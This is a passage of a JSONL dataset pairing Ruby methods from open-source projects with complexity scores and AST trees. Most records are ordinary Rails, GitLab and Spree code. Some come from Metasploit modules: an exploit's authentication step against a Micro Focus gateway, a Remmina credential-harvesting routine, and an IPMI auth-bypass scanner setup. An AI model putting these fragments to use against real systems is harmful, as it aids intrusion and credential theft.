\"]}]},{\"type\":\"str\",\"children\":[\"Set of legal characters defined in https://datatracker.ietf.org/doc/html/rfc7230#section-3.2.6\"]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"UnsafeRedirectError\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]},null]}]}","id":"ae470fba-4fb5-4277-858f-6089a5b0becc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/pipeline/seed/processable/resource_group.rb","start_line":18,"raw_source":"def to_resource\n              return unless resource_group_key.present?\n\n              resource_group = processable.project.resource_groups\n                .safe_find_or_create_by(key: expanded_resource_group_key) do |resource_group|\n                  resource_group.process_mode = processable.project.resource_group_default_process_mode\n                end\n\n              resource_group if resource_group.persisted?\n            end","complexity_score":18.6,"ast_json":"{\"type\":\"def\",\"children\":[\"to_resource\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"resource_group_key\"]},\"present?\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"resource_group\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processable\"]},\"project\"]},\"resource_groups\"]},\"safe_find_or_create_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[null,\"expanded_resource_group_key\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"resource_group\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_group\"]},\"process_mode=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"processable\"]},\"project\"]},\"resource_group_default_process_mode\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"resource_group\"]},\"persisted?\"]},{\"type\":\"lvar\",\"children\":[\"resource_group\"]},null]}]}]}","id":"3fd27e59-2924-4708-9710-3f0af0ae9a4d"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/controllers/spree/api/v2/base_controller.rb","start_line":117,"raw_source":"def require_spree_current_user\n          raise CanCan::AccessDenied if spree_current_user.nil?\n        end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"require_spree_current_user\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spree_current_user\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CanCan\"]},\"AccessDenied\"]}]},null]}]}","id":"7caa271d-82e4-43a6-90f1-6dd17d273e20"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/ci/runner_releases.rb","start_line":65,"raw_source":"def runner_releases_url\n        @runner_releases_url ||= ::Gitlab::CurrentSettings.current_application_settings.public_runner_releases_url\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"runner_releases_url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@runner_releases_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"CurrentSettings\"]},\"current_application_settings\"]},\"public_runner_releases_url\"]}]}]}","id":"b21e86d8-0a1a-435e-8159-5cc9693dc9ea"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console.rb","start_line":92,"raw_source":"def queue_cmd(cmd)\n    self.commands << cmd\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"queue_cmd\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"commands\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}","id":"6d5c348f-80df-4302-97a9-757ed17819fb"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_pumactl.rb","start_line":17,"raw_source":"def wait_booted(log: nil)\n    @server_log = +''\n    begin\n      sleep 0.01 until @wait.wait_readable(0.01)\n      line = @wait.gets\n      STDOUT.syswrite \"#{line}\\n\" if log\n      @server_log << line\n    end until line&.include?('Use Ctrl-C to stop')\n  end","complexity_score":14.75,"ast_json":"{\"type\":\"def\",\"children\":[\"wait_booted\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"log\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@server_log\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\"]},\"+@\"]}]},{\"type\":\"until_post\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"include?\",{\"type\":\"str\",\"children\":[\"Use Ctrl-C to stop\"]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"until\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@wait\"]},\"wait_readable\",{\"type\":\"float\",\"children\":[0.01]}]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"float\",\"children\":[0.01]}]}]},{\"type\":\"lvasgn\",\"children\":[\"line\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@wait\"]},\"gets\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"log\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"STDOUT\"]},\"syswrite\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@server_log\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]}]}]}","id":"23e3763e-98ed-4077-a981-930cf4912278"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/parsers/rails3_erubis.rb","start_line":67,"raw_source":"def add_postamble(src)\n    flush_newline_if_pending(src)\n    src << '@output_buffer.to_s; }'\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_postamble\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"src\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flush_newline_if_pending\",{\"type\":\"lvar\",\"children\":[\"src\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"src\"]},\"<<\",{\"type\":\"str\",\"children\":[\"@output_buffer.to_s; }\"]}]}]}]}","id":"d0c5f259-ee32-460f-88ba-ead85a8ab87f"}
{"repo_name":"rails","file_path":"./repos/rails/activejob/test/cases/logging_test.rb","start_line":291,"raw_source":"def test_retry_different_queue_logging\n      perform_enqueued_jobs do\n        perform_enqueued_jobs do\n          RetryJob.perform_later(\"HeavyError\", 2)\n          assert_match(/Performed RetryJob \\(Job ID: .*?\\) from .+\\(default\\) in .*ms/, @logger.messages)\n        end\n        assert_match(/Performed RetryJob \\(Job ID: .*?\\) from .+\\(low\\) in .*ms/, @logger.messages)\n      end\n    end","complexity_score":11.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_retry_different_queue_logging\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"perform_enqueued_jobs\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"perform_enqueued_jobs\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"RetryJob\"]},\"perform_later\",{\"type\":\"str\",\"children\":[\"HeavyError\"]},{\"type\":\"int\",\"children\":[2]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Performed RetryJob \\\\(Job ID: .*?\\\\) from .+\\\\(default\\\\) in .*ms\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"messages\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_match\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"Performed RetryJob \\\\(Job ID: .*?\\\\) from .+\\\\(low\\\\) in .*ms\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@logger\"]},\"messages\"]}]}]}]}]}","id":"a94bf911-045c-4c5f-9a8e-547b03bdbd88"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/microfocus_secure_messaging_gateway.rb","start_line":169,"raw_source":"def login\n    print_status(\"Authenticating with created user\")\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'security', 'securitygate.php'),\n      'vars_post' => {\n        'username' => @username,\n        'password' => rand_text_alpha_lower(5..25),\n        'passwordmandatory' => rand_text_alpha_lower(5..25),\n        'LimitInterfaceId' => 1\n      }\n    )\n    if res && res.code == 200 && res.body.include?('/ui/default/index.php')\n      print_good('Successfully authenticated')\n      cookie = res.get_cookies\n    else\n      something_went_wrong\n    end\n    cookie\n  end","complexity_score":23.25,"ast_json":"{\"type\":\"def\",\"children\":[\"login\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Authenticating with created user\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"security\"]},{\"type\":\"str\",\"children\":[\"securitygate.php\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"username\"]},{\"type\":\"ivar\",\"children\":[\"@username\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[25]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"passwordmandatory\"]},{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_lower\",{\"type\":\"irange\",\"children\":[{\"type\":\"int\",\"children\":[5]},{\"type\":\"int\",\"children\":[25]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"LimitInterfaceId\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"include?\",{\"type\":\"str\",\"children\":[\"/ui/default/index.php\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Successfully authenticated\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_cookies\"]}]}]},{\"type\":\"send\",\"children\":[null,\"something_went_wrong\"]}]},{\"type\":\"lvar\",\"children\":[\"cookie\"]}]}]}","id":"ab1f46ea-1f5e-452a-86cc-de20b2846548"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/github_import/importer/milestones_importer.rb","start_line":15,"raw_source":"def execute\n          rows, validation_errors = build_milestones\n\n          bulk_insert(rows)\n          bulk_insert_failures(validation_errors) if validation_errors.any?\n          build_milestones_cache\n        end","complexity_score":9.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rows\"]},{\"type\":\"lvasgn\",\"children\":[\"validation_errors\"]}]},{\"type\":\"send\",\"children\":[null,\"build_milestones\"]}]},{\"type\":\"send\",\"children\":[null,\"bulk_insert\",{\"type\":\"lvar\",\"children\":[\"rows\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"validation_errors\"]},\"any?\"]},{\"type\":\"send\",\"children\":[null,\"bulk_insert_failures\",{\"type\":\"lvar\",\"children\":[\"validation_errors\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"build_milestones_cache\"]}]}]}","id":"042be26b-04fc-4c16-8e15-adf2e8c77a6b"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/lib/active_support/execution_wrapper.rb","start_line":21,"raw_source":"def self.to_complete(*args, &block)\n      set_callback(:complete, *args, &block)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"to_complete\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"send\",\"children\":[null,\"set_callback\",{\"type\":\"sym\",\"children\":[\"complete\"]},{\"type\":\"splat\",\"children\":[{\"type\":\"lvar\",\"children\":[\"args\"]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"4c76361d-56b1-4b03-a0db-22d17e17b9dc"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/order.rb","start_line":888,"raw_source":"def ensure_available_shipping_rates\n      if shipments.empty? || line_items_without_shipping_rates.present?\n        # After this point, order redirects back to 'address' state and asks user to pick a proper address\n        # Therefore, shipments are not necessary at this point.\n        shipments.destroy_all\n\n        if line_items_without_shipping_rates.present?\n          errors.add(:base, Spree.t(:products_cannot_be_shipped, product_names: line_items_without_shipping_rates.map(&:name).to_sentence))\n        else\n          errors.add(:base, Spree.t(:items_cannot_be_shipped))\n        end\n\n        return false\n      end\n    end","complexity_score":29.6,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_available_shipping_rates\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shipments\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"line_items_without_shipping_rates\"]},\"present?\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"shipments\"]},\"destroy_all\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"line_items_without_shipping_rates\"]},\"present?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"products_cannot_be_shipped\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"product_names\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"line_items_without_shipping_rates\"]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]},\"to_sentence\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"base\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"t\",{\"type\":\"sym\",\"children\":[\"items_cannot_be_shipped\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]}]},null]}]}","id":"28a25b93-bf7a-44ea-b594-144064fba1dc"}
{"repo_name":"liquid","file_path":"./repos/liquid/test/integration/standard_filter_test.rb","start_line":653,"raw_source":"def test_remove\n    assert_equal('   ', @filters.remove(\"a a a a\", 'a'))\n    assert_template_result('   ', \"{{ '1 1 1 1' | remove: 1 }}\")\n\n    assert_equal('b a a', @filters.remove_first(\"a b a a\", 'a '))\n    assert_template_result(' 1 1 1', \"{{ '1 1 1 1' | remove_first: 1 }}\")\n\n    assert_equal('a a b', @filters.remove_last(\"a a b a\", ' a'))\n    assert_template_result('1 1 1 ', \"{{ '1 1 1 1' | remove_last: 1 }}\")\n  end","complexity_score":9.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_remove\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"   \"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"remove\",{\"type\":\"str\",\"children\":[\"a a a a\"]},{\"type\":\"str\",\"children\":[\"a\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"   \"]},{\"type\":\"str\",\"children\":[\"{{ '1 1 1 1' | remove: 1 }}\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"b a a\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"remove_first\",{\"type\":\"str\",\"children\":[\"a b a a\"]},{\"type\":\"str\",\"children\":[\"a \"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\" 1 1 1\"]},{\"type\":\"str\",\"children\":[\"{{ '1 1 1 1' | remove_first: 1 }}\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"a a b\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@filters\"]},\"remove_last\",{\"type\":\"str\",\"children\":[\"a a b a\"]},{\"type\":\"str\",\"children\":[\" a\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_template_result\",{\"type\":\"str\",\"children\":[\"1 1 1 \"]},{\"type\":\"str\",\"children\":[\"{{ '1 1 1 1' | remove_last: 1 }}\"]}]}]}]}","id":"7a2b9a8c-16c5-476c-aa65-e3dc7e8bd771"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/users/login_service.rb","start_line":100,"raw_source":"def reset_session!\n      ::Sessions::DropAllSessionsService.call!(user) if drop_old_sessions?\n      controller.reset_session\n    end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_session!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"drop_old_sessions?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sessions\"]},\"DropAllSessionsService\"]},\"call!\",{\"type\":\"send\",\"children\":[null,\"user\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"controller\"]},\"reset_session\"]}]}]}","id":"b1e50bef-28ec-4c84-b824-c4bdfba7c8e6"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/multi/gather/remmina_creds.rb","start_line":33,"raw_source":"def run\n    creds = extract_all_creds\n    creds.uniq!\n    if creds.empty?\n      vprint_status('No Reminna credentials collected')\n    else\n      vprint_good(\"Collected #{creds.size} sets of Remmina credentials\")\n      cred_table = Rex::Text::Table.new(\n        'Header' => 'Remmina Credentials',\n        'Indent' => 1,\n        'Columns' => %w[Host Port Service User Password]\n      )\n\n      creds.each do |cred|\n        cred_table << cred\n        report_credential(cred[3], cred[4])\n      end\n\n      print_line(cred_table.to_s)\n    end\n  end","complexity_score":23.35,"ast_json":"{\"type\":\"def\",\"children\":[\"run\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"creds\",{\"type\":\"send\",\"children\":[null,\"extract_all_creds\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]},\"uniq!\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"str\",\"children\":[\"No Reminna credentials collected\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Collected \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]},\"size\"]}]},{\"type\":\"str\",\"children\":[\" sets of Remmina credentials\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cred_table\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"Remmina Credentials\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Host\"]},{\"type\":\"str\",\"children\":[\"Port\"]},{\"type\":\"str\",\"children\":[\"Service\"]},{\"type\":\"str\",\"children\":[\"User\"]},{\"type\":\"str\",\"children\":[\"Password\"]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"creds\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cred\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_table\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"cred\"]}]},{\"type\":\"send\",\"children\":[null,\"report_credential\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]\",{\"type\":\"int\",\"children\":[3]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred\"]},\"[]\",{\"type\":\"int\",\"children\":[4]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_line\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cred_table\"]},\"to_s\"]}]}]}]}]}]}","id":"8c055d81-da00-44da-a6be-866afd795d72"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/visibility_level.rb","start_line":86,"raw_source":"def allowed_level?(level)\n        valid_level?(level) && non_restricted_level?(level)\n      end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"allowed_level?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"level\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"valid_level?\",{\"type\":\"lvar\",\"children\":[\"level\"]}]},{\"type\":\"send\",\"children\":[null,\"non_restricted_level?\",{\"type\":\"lvar\",\"children\":[\"level\"]}]}]}]}","id":"3a6b19ab-e49d-4575-87d4-d0bf4f864710"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/rails4.rb","start_line":92,"raw_source":"def test_redirect_with_unsafe_hash_and_only_path_do_not_warn\n    assert_no_warning :type => :warning,\n      :warning_code => 18,\n      :warning_type => \"Redirect\",\n      :line => 38,\n      :message => /^Possible\\ unprotected\\ redirect/,\n      :confidence => 0,\n      :relative_path => \"app/controllers/application_controller.rb\"\n\n    assert_no_warning :type => :warning,\n      :warning_code => 18,\n      :warning_type => \"Redirect\",\n      :line => 42,\n      :message => /^Possible\\ unprotected\\ redirect/,\n      :confidence => 0,\n      :relative_path => \"app/controllers/application_controller.rb\"\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_redirect_with_unsafe_hash_and_only_path_do_not_warn\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[18]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Redirect\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[38]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ unprotected\\\\ redirect\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/controllers/application_controller.rb\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_no_warning\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"warning\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"int\",\"children\":[18]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Redirect\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"int\",\"children\":[42]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"^Possible\\\\ unprotected\\\\ redirect\"]},{\"type\":\"regopt\",\"children\":[]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"relative_path\"]},{\"type\":\"str\",\"children\":[\"app/controllers/application_controller.rb\"]}]}]}]}]}]}","id":"0c92dbd0-a7a3-4c17-8cf9-298c6d3a708c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/scanner/ipmi/ipmi_cipher_zero.rb","start_line":10,"raw_source":"def initialize\n    super(\n      'Name' => 'IPMI 2.0 Cipher Zero Authentication Bypass Scanner',\n      'Description' => %q|\n        This module identifies IPMI 2.0-compatible systems that are vulnerable\n        to an authentication bypass vulnerability through the use of cipher\n        zero.\n        |,\n      'Author' => [ 'Dan Farmer <zen[at]fish2.com>', 'hdm' ],\n      'License' => MSF_LICENSE,\n      'References' => [\n        ['CVE', '2013-4782'],\n        ['URL', 'http://fish2.com/ipmi/cipherzero.html'],\n        ['OSVDB', '93038'],\n        ['OSVDB', '93039'],\n        ['OSVDB', '93040'],\n\n      ],\n      'DisclosureDate' => 'Jun 20 2013'\n    )\n\n    register_options(\n      [\n        Opt::RPORT(623)\n      ]\n    )\n  